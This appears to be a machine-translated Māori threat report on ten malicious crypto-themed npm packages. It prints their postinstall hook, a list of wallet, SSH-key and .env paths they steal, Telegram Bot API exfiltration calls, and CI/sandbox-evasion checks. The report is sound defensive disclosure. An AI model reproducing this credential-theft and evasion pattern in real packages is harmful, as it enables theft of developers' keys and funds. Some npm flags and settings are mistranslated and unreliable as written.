TL; DR
I te 9 o Hune 2026, kotahi te pūkete kaiwhakaputa npm, aicrypto-xzggg, kua tukuna tekau ngā mōkihi me ngā ingoa momo crypto me Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, me ētahi atu e ono.
He rite tonu te kawenga o ia mōkihi mai i tētahi postinstall matau. I te tāutanga, ka tirohia mēnā kei te rere i roto i te CI, i te pouaka onepu rānei — ki te kore, ka pānuihia e ia ngā toa kī putea, ngā kōnae kupu-karauna, ngā kī SSH, me .env ngā kōnae mai i ngā pūnaha poraka mekameka e ono, ka tukuna atu ki tētahi karetao Telegram.
Ko te tohu kotahi ka taea e te kaiwawao te rapu tonu ko te ID karetao Telegram 8227918239.
Taumaha: Nui — tahae tika i ngā kī hainatanga me ngā kīnga whakaora mai i ngā teihana mahi a ngā kaiwhakawhanake.
Te Whakaeke: Te Āhua o tana Mahi
Ka whakatairangahia e ngā mōkihi a rātou anō hei taputapu whakawhanake poraka mekameka. mōkihi.json he iti noa iho, ā, e tohu ana i te huringa ora tāutanga ki tētahi hōtuhi:
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" }ngā tuhinga/postinstall.js he porowhita kotahi-raina e utaina ana te kawenga tūturu: me hiahia ("../src/index.js"). Na te mea i muri i te tāutanga ka rere aunoa i te wā npm tāuta, kāore he kawemai waehere e hiahiatia ana e te kaiwhakawhanake — mā te whakanoho i te mōkihi ki roto i tētahi rākau whakawhirinakitanga ka nui hei whakahaere.
Te mekameka whakamate i roto src/index.js e whā ngā taahiraa:
- Te tirotiro taiao. Mā te mahi tiaki ka whakatau mēnā he rite te āhua o te kaihautū ki tētahi kaihoko hanga, ki tētahi pouaka onepu tātari rānei.
- Whakaroa. Ka whakaroahia te whakatinanatanga i muri i tētahi tautuhingaWāmutunga mō te 7.4 hēkona pea.
- Kohinga. Ka hikoihia he rārangi pumau o ngā ara pēke moni, kī, me ngā kōnae ngaro; ka whakarārangihia ngā kōnae o nāianei.
- Te tātaritanga. Ka tukuna ngā kōnae kua rārangihia ki tētahi karetao Telegram, ā, ka tukuna he karere whakarāpopototanga i mua i tēnā.
E ono ngā mekameka o te rārangi whāinga kohinga me ngā mea ngaro a te kaiwhakawhanake whānui. Kua tapahia:
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.localE rua tekau mā tahi ngā ara katoa. Ngā tāurunga whaiaronga pēnei i te ~/.ethereum/toa kī ka whakawhanuitia, ā, ka whakarārangihia ia kōnae i roto. Ka whakamahia tika te Telegram Bot API e te exfiltration — he tukuKarere waea atu ki tētahi kaihautū me te whakarāpopototanga kōnae, kātahi ka tukuTuhinga tukuatu maha-wāhanga mō ia kōnae:
kuputuhi
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file)Ka tīmata te karere whakarāpopototanga e huihuia ana e te waehere ki te aho tika KAITAHAU MŌ TE HUNA, ā, whai muri ko te ingoa kaihautū, te ingoa kaiwhakamahi, te ingoa mōkihi taketake, te maha o ngā kōnae, me te tohu wā.
He aha ngā mea hou i konei
Ehara te mea rerekē i te tikanga tahae — he exfil e hangai ana ki te Telegram mai i te npm i muri i te tāutanga hooks kua takahia pai. Koia te te kūaha whakamate. I mua i te mahi i tētahi mea, ka karanga te kawenga i tētahi mahi e whakahoki mai ana i te "true" ina rite te kaihautū ki tētahi CI runner, ki tētahi sandbox rānei, ā, ka hoki wawe mai ina pērā:
kuputuhi
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape)Ko te regex container-id te rarangi rongonui: ko te ingoa manaaki 12-hex-character te āhua taunoa e tohaina ana e Docker ki tētahi pouaka, nō reira ka whakaarohia e te kawenga "he rite te ingoa o taku kaihautū ki tētahi ipu Docker" hei take mō te noho puku. I te taha o te whakaroa whitu hēkona, ka pai ake te hoahoa ki te whakahaere i runga i te teihana mahi tūturu a te kaiwhakawhanake me te noho puku i ngā wāhi katoa e rite ana ki te tātari aunoa. Ko taua kuaha te mea i pehi i ngā tohu tātari hihiri, ā, i pupuri i te rere exfil tūmau hei taunakitanga whakapae matua.
Rārangi Wā
I puta katoa ngā tekau i roto i te whitu tekau meneti pea, e ai ki te whakaputanga kotahi i tuhia mai i te pūkete kotahi.
Ngā Tohu o te Whakaaetanga
Ngā tohu whatunga me ngā whanonga (kua whakakorea te manaaki):
Ngā mōkihi me ngā putanga, ia ia me te SHA-256 o tana src/index.js utunga (he rite tonu te mahi a ngā utunga, ā, ko te rerekētanga anake ko te tapanga ingoa-mōkihi kua whakauruhia, nō reira he motuhake ia hash):
He rapunga rapu māmā noa iho: rapua ngā rangitaki tāuta me ngā kōnae maukati mō tētahi o ngā ingoa tekau, ā, rapua ngā hononga ki te Telegram Bot API mai i ngā kaihautū hanga, ngā kaihautū kaiwhakawhanake rānei kāore e whakamahi ana i tētahi atu huarahi.
Te Whakawhiwhinga me te Whēkenga i Mātakihia
I whakaputaina ngā mōkihi tekau katoa e te pūkete kotahi, aicrypto-xzggg, ko tāna īmēra kua whakahuatia ko vipsyria88@gmail[.]comKāore anō kia manatokohia te īmēra me te hononga mana-pūtake i roto i te raraunga rēhita, ā, he tino kino te kaute ingoa o te pūkete. Kāore anō kia whakaūtia e mātou ko wai te kaiwhakahaere o te pūkete.
E rua ngā kōrero e tika ana kia wehea mai i tētahi kereme tuakiri. Tuatahi, ko te mōkihi.json kaituhi ngā pānui mara Alex Smith i runga i ia mōkihi, ko te pūkete whakaputa tuturu ia aicrypto-xzggg; he raraunga whaiaro te āpure kaituhi, ā, kāore e whakaū i te kaituhi. Tuarua, he rerekē ngā tau putanga — ko ētahi mema e noho ana i te 1.0.0, ētahi atu i 4.68.54 — he mea hangai ki te whakamahi anō i tētahi kawenga kotahi puta noa i ngā ingoa mōkihi hou, kaua ki te pupuri i ngā hītori tukunga tūturu.
He ōrite te whanonga puta noa i te rōpū: ko te rārangi ara ūnga kotahi, ko te ID karetao Telegram me te ID kōrerorero kotahi, ko te kuaha taiao kotahi, ko te mea kotahi KAITAHAU MŌ TE HUNA tohu. Ko taua ōritetanga te hononga kaha rawa atu i waenga i ngā mōkihi. He tohu kaiwhakahaere-kotahi, ehara i te tuakiri.
Pānga, Auahatanga me te Aratohu mō ngā Kaiwawao
He pūmau te whakaaturanga. Mēnā ka tāutahia e te kaiwhakawhanake tētahi o ēnei mōkihi ki runga i tētahi teihana mahi e pupuri ana i tētahi putea pūmanawa, i tētahi kōnae kupu-whakatō, i tētahi kī SSH rānei, ka pānuihia aua kōnae, ka tukuna atu i roto i ngā hēkona. Kāore ngā kupu whakaora me ngā kī hainatanga e pau pērā i te tohu wātū; ina oti te mnemonic.txt he Solana rānei id.json ka wehe atu i te mīhini, kei te mōrearea ngā moni e whakahaeretia ana e ia kia nekehia rā anō. Ka hopukina hoki e te oma kotahi Tuhinga .env ngā kōnae, e mau tonu ana ngā kī API me ngā tohu tuakiri pātengi raraunga.
E rua ngā au e tū ana i muri i tēnei rōpū. Ko te tuatahi ko te whakamahi tonu i ngā ingoa kaupapa-crypto me Web3 hei kukume i tētahi hunga whakarongo motuhake — ko ngā kaiwhakawhanake e pupuri ana i ngā pēke moni me ngā kī i runga i te mīhini kotahi e tāutahia ana e rātou ngā whakawhirinakitanga. Ko te tuarua ko te pakeketanga o te karo i te pouaka onepu i roto i ngā utunga wā tāuta. Ko te kuaha e tirotiro ana mō ngā taurangi taiao CI, ngā ingoa kaiwhakamahi kaiwhakahaere, me te āhua ingoa manaaki Docker he ngana āta ki te whanonga rerekē i raro i te tātaritanga i runga i te teihana mahi tūturu, ā, ka ara ake te pae mō te kimi hihiri noa iho.
Mō ngā kaiwawao:
Tāutahia me ngā hōtuhi kua monoa i te taunoa. tāuta npm –whakakore-hōtuhi, whakatakotoria rānei wareware-hōtuhi=pono in .npmrc, aukati i muri i te tāutanga te whakahaerenga; whakahohea ngā hōtuhi mō ngā whakawhirinakitanga motuhake e tino hiahiatia ana.
Kaua e tukua ngā pēke moni me ngā kī hainatanga ki ngā mīhini hanga me te whakawhanake. Whakamahia he pēke moni taputapu, he kaihautū hainatanga motuhake rānei, kāore e whakawhirinakihia.
hamani Tuhinga .env, ngā toa matua, me ngā kōnae kupu-puranga hei taonga nui. Kaua rawa rātou e noho ki roto i tētahi whaiaronga he npm tāuta rākau mahi.
Rapua ngā hononga ki waho ki te Telegram Bot API mai i te CI me ngā kaihautū kaiwhakawhanake. Kāore te nuinga o ngā taiao hanga e karanga i tēnei; ko tētahi e karanga ohorere ana, i muri tonu i te tāutanga, he mea tika kia tirotirohia.
Whakapiri me te arotake i ngā whakawhirinakitanga. He mōkihi hou me te ingoa crypto whānui, he i muri i te tāutanga hook, ā, kāore he hononga putunga e tika ana kia tirohia i mua i te urunga ki tētahi kōnae maukati.
He whakamaumahara anō hoki te rarangi karo i te ine-ipu mō ngā kaitātari: ehara i te mea pai te kawenga wā-tāuta e noho puku ana i roto i te pouaka onepū, engari he mea whiriwhiri. Ko te arotake tūmau o te ara tāuta tonu te huarahi pono hei kite i te aha te whakatinanatanga hihiri ka kore e whakaatu.
Tohutoro
ngā tuhinga tāutanga npm — ngā tuhinga huringa ora me –whakakorehia ngā tuhinga— tohutoro mō te whakakore i te tāutanga aunoa hooks.
